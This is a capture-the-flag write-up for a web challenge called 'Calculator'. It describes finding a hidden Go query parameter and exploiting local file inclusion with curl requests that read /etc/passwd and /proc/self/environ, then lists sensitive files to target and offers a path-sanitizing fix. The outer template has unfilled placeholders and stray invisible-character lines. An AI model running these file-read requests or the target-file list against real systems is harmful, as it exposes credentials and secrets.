← Back to Writeups
HTBN/AWeb

Calculator

XESXOR8/23/20263 min read
#web#htb#n/a

Calculator

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-20 | Status: Solved Techniques: Decoding obfuscated Go byte arrays, Local File Inclusion via hidden parameter, Reading /proc/self/environ for environment variables

Summary

Task: Calculator web app with Go backend exposing /source endpoint. Solution: Discovered obfuscated 'file' parameter (byte array), exploited LFI to read /proc/self/environ and extract flag from environment variables.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20251220_hackerlab_calculator
  • Tags: lfi, path_traversal, proc_filesystem, environment_variables, source_code_analysis, local_file_inclusion, go, golang, byte_array_obfuscation
  • Indicators: Go backend with /source endpoint, Obfuscated parameter names as byte arrays, os.ReadFile() without path validation, Environment variables containing secrets
  • Source: 20251220_hackerlab_calculator.md

Foothold

Vulnerability / Misconfiguration

  1. Decoding obfuscated Go byte arrays
  2. Local File Inclusion via hidden parameter
  3. Reading /proc/self/environ for environment variables
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • Decoding obfuscated Go byte arrays
  • Local File Inclusion via hidden parameter
  • Reading /proc/self/environ for environment variables
  • Tags: lfi, path_traversal, proc_filesystem, environment_variables, source_code_analysis, local_file_inclusion, go, golang, byte_array_obfuscation

Original Writeup

<details><summary>Click to expand original content</summary>

Description

А правда что калькулятор выполняет базовые математические функции?

URL: http://62.173.140.174:46005

Analysis

1. Reconnaissance

The main page shows a calculator with client-side JavaScript eval. The page has a link to the /source endpoint.

2. Source Code Analysis

The /source endpoint reveals Go source code. A hidden file parameter was discovered, obfuscated as a byte array:

// Obfuscated parameter name
{102, 105, 108, 101}  // = "file"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoding:

  • 102 = 'f'
  • 105 = 'i'
  • 108 = 'l'
  • 101 = 'e'

Critical vulnerability — using os.ReadFile(reqFile) without path validation:

reqFile := r.URL.Query().Get("file")
content, err := os.ReadFile(reqFile)

This is a classic LFI (Local File Inclusion) vulnerability.

Solution

Step 1: Confirming LFI

curl "http://62.173.140.174:46005/source?file=/etc/passwd"

Result — contents of /etc/passwd (Alpine Linux):

root:x:0:0:root:/root:/bin/ash
...

Step 2: Finding the Flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is stored in environment variables. Reading via /proc/self/environ:

curl "http://62.173.140.174:46005/source?file=/proc/self/environ"

Step 3: Extracting the Flag

In the environment variables output:

FLAG=CODEBY{REDACTED}

Useful Files for LFI

# System files
/etc/passwd
/etc/shadow          # requires root
/etc/hosts

# Environment variables (Linux)
/proc/self/environ

# Application source code
/proc/self/cmdline   # startup command
/proc/self/cwd/main.go  # if structure is known
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Docker-specific
/proc/1/environ      # container ENV
/.dockerenv          # Docker check

Defense

// Proper path validation
func sanitizePath(path string) (string, error) {
    // Disallow absolute paths
    if filepath.IsAbs(path) {
        return "", errors.New("absolute paths not allowed")
    }
    
    // Clean ../ and normalize
    cleaned := filepath.Clean(path)
    
    // Verify path doesn't escape base directory
    if strings.HasPrefix(cleaned, "..") {
        return "", errors.New("path traversal detected")
    }
    
    return filepath.Join(baseDir, cleaned), nil
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR